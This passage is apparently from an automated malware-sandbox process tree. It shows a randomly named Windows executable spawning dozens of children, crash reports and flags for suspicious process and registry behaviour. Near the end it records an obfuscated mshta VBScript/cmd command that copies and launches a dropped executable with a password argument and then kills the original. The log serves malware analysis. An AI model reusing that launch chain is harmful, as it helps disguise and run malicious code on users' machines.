        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6376
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9248
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8096
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8136
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7720
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9460
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8488
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7920
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1492
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7268
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7152 -s 28
        10⤵
        Program crash
        
        PID:6168
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3596
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8748
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6900
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:4392
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7268
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7660
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5696
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9692
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1508
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5968
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9200
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7664
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 28
        10⤵
        Program crash
        
        PID:5280
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7568
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6828
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9860
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7480
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8932
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9432
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9432 -s 28
        10⤵
        Program crash
        
        PID:5236
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5308
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9412
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:5548
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9748
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:676
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7412
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6048
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9696
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:2968
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7664
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6956
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1552
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7408
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10140
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5740
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6844
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7724
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3732
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9856
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9256
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7924
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8172
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:2096
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6480
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8228
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8228 -s 32
        10⤵
        Program crash
        
        PID:8936
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3392
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1220
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9060
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10692
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8196
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8000
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:10224
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5912
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10608
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10152
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:2460
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:7112
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10512
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1880
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9960
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:828
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5704
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11048
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12836
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12552
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12552 -s 28
        10⤵
        Program crash
        
        PID:12364
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12236
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12776
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12428
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13072
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9952
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10228
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12768
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:5960
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1900
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1016
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:8764
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10088
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:9040
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10288
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11032
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6168
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11092
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13196
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9012
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9504
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11480
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11728
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11268
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3684
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12484
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12832
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:3292
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12668
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10852
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:12064
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:6376
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11356
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13864
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13348
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10744
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11996
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11340
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13616
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13484
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:9592
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:10396
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:1720
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13440 -s 28
        10⤵
        Program crash
        
        PID:13720
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:4288
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13796
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:11316
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13816
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13440
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13292
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:14456
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:14856
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:15316
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:14952
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:14536
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        
        C:\Users\Admin\Documents\j72EqaYhaMeOLfe3GevMFiuo.exe
        9⤵
        
        PID:13892
        
        C:\Users\Admin\Documents\BZeU4lMhFfx5qWOcPl9fP7gF.exe
        
        "C:\Users\Admin\Documents\BZeU4lMhFfx5qWOcPl9fP7gF.exe"
        8⤵
        
        PID:8272
        
        C:\Users\Admin\AppData\Local\Temp\is-EK03B.tmp\BZeU4lMhFfx5qWOcPl9fP7gF.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-EK03B.tmp\BZeU4lMhFfx5qWOcPl9fP7gF.tmp" /SL5="$10462,138429,56832,C:\Users\Admin\Documents\BZeU4lMhFfx5qWOcPl9fP7gF.exe"
        9⤵
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:8612
        
        C:\Users\Admin\AppData\Local\Temp\is-L1EDU.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-L1EDU.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:6092
        
        C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe
        
        "C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe"
        8⤵
        
        PID:8196
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )
        9⤵
        
        PID:9176
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\NYqFSjaxbjQrEyabuaoihYbM.exe" ) do taskkill -F /Im "%~nXN"
        10⤵
        
        PID:4108
        
        C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE
        
        KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG
        11⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\mshta.exe
        
